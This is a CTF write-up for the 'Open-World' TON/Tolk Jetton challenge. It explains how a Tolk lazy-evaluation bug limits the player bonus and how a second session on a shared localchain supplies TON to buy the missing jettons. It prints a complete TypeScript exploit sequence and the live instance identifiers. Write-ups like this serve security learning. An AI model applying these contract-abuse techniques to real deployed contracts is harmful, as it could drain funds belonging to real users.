$ cat writeup.md…
$ cat writeup.md…
sekai2026
Task: a TON/Tolk Jetton challenge gives each player a closed 50-token economy while solve requires 100 target jettons. Solution: create a donor session on the same shared localchain, sell its bonus for TON, fund the target, buy the missing jettons, and transfer 100 with the Solve payload.
Jump into the TON =ω=
English summary: the task deploys a TON/Tolk Challenge contract with a JettonMinter and JettonWallet pair. The goal is to make isSolved() return true for the target session UUID and then request the flag from the nc service.
The solve condition is checked when Challenge receives TransferNotificationForRecipient from its own target jetton wallet. The notification must contain:
forwardPayload = Solve (0x13370005),transferInitiator == storage.player,jettonAmount >= 100.So the target player must own at least 100 target jettons and transfer them to the target Challenge with a non-zero forwarded TON amount and the Solve payload.
Inside one session this is impossible with the initial funds:
PlayerBonus appears to allow two bonuses of 50 jettons, but Tolk lazy evaluation makes hasBonus = storage.remainingPlayerBonus != 0 evaluate after storage.remainingPlayerBonus -= 1. With remainingPlayerBonus = 2, only the first call mints 50 jettons; the second decrements to zero and mints nothing.Buy(amount) requires msg.value > amount * 2 TON + 0.12, so buying the missing 50 costs about 100.12 TON.The key observation was the challenge title: Open-World. The new command creates a new player and challenge session, but all sessions on the same launched host live on the same underlying TON localchain. That means TON obtained in one session can be transferred to the player wallet of another session.
Use two sessions on the same host: a target session that will be solved, and a donor session used only as a source of TON.
nc/PoW. Keep the first UUID as the target UUID for the flag command.PlayerBonus once to get 50 target jettons.PlayerBonus once to get 50 donor jettons.Sell payload (0x13370004), receiving about 100 TON in the donor wallet.JettonWallet to the target Challenge, forwarding the Solve payload (0x13370005).isSolved() and request the flag with the target UUID.The live target session used:
host: open-world-a5183d08eacc.instancer.sekai.team target uuid: 59e8424e-eee0-47c0-852b-29865aa0a2c3 target challenge: EQBD-1HvIph14tsoUn8lCthFD3x1dO3eMhhEpR3HMjjNq0PW donor uuid: 248c6228-78e9-47c7-b91a-dda51d02e852 donor challenge: EQDx5QU4H_4LjINiBzD6w9H9SK8HXoG3BA4Er26rq39MQJ-l
The important TypeScript exploit sequence was:
const sell = () => beginCell().storeUint(0x13370004, 32).asSlice(); const solve = () => beginCell().storeUint(0x13370005, 32).asSlice(); // 1. Target gets 50 target jettons. await target.sender.send({ to: targetChallengeAddr, value: toNano('0.25'), body: Challenge.createCellOfPlayerBonus({}), }); // 2. Donor gets 50 donor jettons. await donor.sender.send({ to: donorChallengeAddr, value: toNano('0.25'), body: Challenge.createCellOfPlayerBonus({}), }); // 3. Donor sells 50 donor jettons for about 100 TON. await donor.sender.send({ to: donorJWAddr, value: toNano('0.15'), body: JettonWallet.createCellOfAskToTransfer({ queryId: 0n, jettonAmount: 50n, transferRecipient: donorChallengeAddr, sendExcessesTo: donor.wallet.address, customPayload: null, forwardTonAmount: toNano('0.01'), forwardPayload: sell(), }), }); // 4. Donor sends its TON to the target wallet on the shared localchain. await donor.sender.send({ to: target.wallet.address, value: 0n, bounce: false, sendMode: SendMode.CARRY_ALL_REMAINING_BALANCE + SendMode.DESTROY_ACCOUNT_IF_ZERO, }); // 5. Target buys the missing 50 target jettons. await target.sender.send({ to: targetChallengeAddr, value: toNano('100.3'), body: Challenge.createCellOfBuy({ amount: 50n }), }); // 6. Target transfers 100 target jettons with the Solve payload. await target.sender.send({ to: targetJWAddr, value: toNano('0.25'), body: JettonWallet.createCellOfAskToTransfer({ queryId: 0n, jettonAmount: 100n, transferRecipient: targetChallengeAddr, sendExcessesTo: target.wallet.address, customPayload: null, forwardTonAmount: toNano('0.05'), forwardPayload: solve(), }), });
Local sandbox validation with blockchain_open-world/sandbox/multi-sandbox-test.ts printed the expected progression:
target jet after bonus 50 donor TON after sell 100.589... target TON after funding 100.7009... target jet after buy 100 SOLVED true
On the live host, after the donor transfer the target had about 101.14 TON. The Buy(50) call succeeded, the solve transfer set isSolved to true, and the flag command with the target UUID returned the flag.
mylocalton faucet keys were not useful because the deployment used REGENERATE_WALLETS=true; documented faucet wallets were dead or unfunded.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar